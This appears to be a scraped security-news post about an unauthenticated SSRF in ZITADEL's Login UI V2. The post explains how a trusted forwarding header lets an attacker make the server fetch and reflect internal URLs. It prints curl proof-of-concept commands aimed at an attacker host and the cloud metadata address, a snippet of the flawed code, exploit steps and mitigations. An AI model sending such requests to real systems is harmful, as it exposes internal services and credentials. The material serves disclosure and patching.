Listen to this Post
The vulnerability exists within the ZITADEL Login UI (V2) service URL resolution logic. It insecurely trusts the `x-zitadel-forward-host` HTTP header as a fallback mechanism for determining the backend API endpoint in all deployment types, including self-hosted instances. An unauthenticated attacker can send a crafted HTTP request to the public login endpoint, injecting a malicious value into this header. The flawed logic uses the attacker-controlled header to construct the full URL for backend API calls, such as those to the `/api/v2/endpoints` endpoint. This forces the Zitadel server to initiate an HTTP request to an arbitrary internal or external domain specified by the attacker. The server then retrieves the response from this upstream request and reflects it back to the attacker. This full-read SSRF allows the attacker to exfiltrate data from internal HTTP services that are otherwise not accessible from the external network, effectively bypassing IP-based firewall rules and network segmentation.
Platform: Zitadel
Version: v4.0.0-rc.1 through v4.7.0
Vulnerability : Unauthenticated Full-Read SSRF
Severity: Critical
date: See advisory
Prediction: Already Patched
What Undercode Say:
curl -v -H "x-zitadel-forward-host: http://attacker-controlled.internal" "http://target.zitadel.com/login/v2"
curl -v -H "x-zitadel-forward-host: 169.254.169.254" "http://target.zitadel.com/api/v2/endpoints"
// Example of the flawed header trust logic
const getApiUrl = (headers) => {
const forwardedHost = headers['x-zitadel-forward-host']; // Trusted without validation
return forwardedHost || process.env.API_URL; // Attacker controls this
};
How Exploit:
1. Attacker sends request to public `/login/v2`.
2. Injects `x-zitadel-forward-host: internal-service.local`.
- Server fetches `http://internal-service.local/api/v2/endpoints`.
4. Server returns internal service response to attacker.
Protection from this CVE
– Upgrade to patched version.
– Configure reverse proxy to strip/validate x-zitadel-forward-host.
– Ensure `ZITADEL_API_URL` is correctly set.
Impact:
- Internal service data exfiltration.
- Bypass of network controls.
- Unauthenticated exploitation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
